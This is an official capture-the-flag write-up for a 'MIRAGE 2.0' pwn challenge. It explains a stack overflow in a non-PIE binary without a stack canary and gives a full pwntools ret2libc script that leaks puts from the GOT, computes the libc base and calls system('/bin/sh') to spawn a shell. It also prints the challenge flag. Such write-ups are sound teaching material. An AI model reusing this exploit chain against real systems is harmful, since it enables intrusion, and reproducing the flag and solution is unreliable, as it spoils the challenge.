

Worldminds Archive

MIRAGE 2.0 — Binary Exploitation — Official Writeup

CATEGORY	DIFFICULTY	FILES
Binary Exploitation (Pwn / ret2libc)	Medium	worldmind_archive, libc.so.6
DEPLOYMENT	VULNERABILITY	STATUS
Offline binary — run locally with the bundled libc	Stack overflow + GOT leak → ret2libc	Solved

Challenge Premise

Objective: “breach the Worldmind’s archives by bypassing advanced memory randomization.” Shipping a specific `libc.so.6` (Ubuntu GLIBC 2.35) alongside the binary is the standard signal for a `ret2libc` challenge — the participant must leak a `libc` address, compute the library’s base, and build a return-oriented chain into it.

Reversing the Binary

`main()` calls `setup()` (which XOR-0x55-decodes the flag string and stores it in the `MIRAGE_FLAG` environment variable via `setenv()`), then enters `archive_terminal()`. That function passes a 64-byte stack buffer to a helper, `read_all(fd, buf, 0x80)`, which loops calling `read()` until it has accumulated exactly 128 bytes — with no bounds check against the 64-byte buffer, a textbook stack overflow. The offset from the start of the buffer to the saved return address is 72 bytes (64-byte buffer + 8-byte saved RBP).

The binary is **non-PIE** (fixed base `0x400000`), **Full RELRO**, and has **no stack canary**. It also conveniently ships its own gadget, `rop_gadget_fixture(pop rdi; ret)` at `0x4012f4`.

Exploitation — Two-Stage ret2libc

- **Stage 1 (leak):** overflow into `pop rdi; ret` → address of `puts@GOT` → `puts@PLT` → back to `main`. This prints the real runtime address of `puts()`, from which the `libc` base is computed using the offset known from the bundled `libc.so.6`.
- **Stage 2 (execute):** overflow again → `pop rdi; ret` → address of `"/bin/sh"` in `libc` → a `libc` `ret` gadget (for 16-byte stack alignment before the call) → `system()`.

This pops a shell running as the container’s user, from which the `MIRAGE_FLAG` environment variable set during `setup()` can simply be printed.

Participant Solve Steps

```

from pwn import *

elf = context.binary = ELF('./worldmind_archive', checksec=False)
libc = ELF('./libc.so.6', checksec=False)
io = process(['./worldmind_archive'], env={'LD_LIBRARY_PATH': '.'})

pop_rdi = 0x4012f4 # rop_gadget_fixture: pop rdi; ret

# Stage 1: leak puts() via its own GOT entry, return to main
payload = b'A' * 72
payload += p64(pop_rdi) + p64(elf.got['puts'])
payload += p64(elf.plt['puts']) + p64(elf.symbols['main'])
io.sendafter(b'>', payload)
leaked = u64(io.recvline().strip().ljust(8, b'\x00'))
libc.address = leaked - libc.symbols['puts']

# Stage 2: ret2system("/bin/sh")
ret = libc.address + 0x00000000000029139 # 'ret' gadget for alignment
payload = b'A' * 72
payload += p64(pop_rdi) + p64(next(libc.search(b'/bin/sh\x00')))
payload += p64(ret) + p64(libc.symbols['system'])
io.sendafter(b'>', payload)

io.sendline(b'echo $MIRAGE_FLAG')
io.interactive()

```

FLAG

MIRAGE{w0rldm1nd_r0p_ch41n_4slr_byp4ss}

NOTE: The bundled `libc.so.6` is built for Ubuntu 22.04's `glibc 2.35`. When testing locally, run the binary inside an `ubuntu:22.04` container with `LD_LIBRARY_PATH` pointed at the challenge folder so the correct `libc` is loaded — a mismatched host `glibc/loader` combination produces spurious “stack smashing detected” aborts unrelated to the actual exploit.

Verification

The exploit script above was run end-to-end in a matching Ubuntu 22.04 sandbox against the real binary and `libc` pair, obtained a shell, and printed the flag exactly as shown.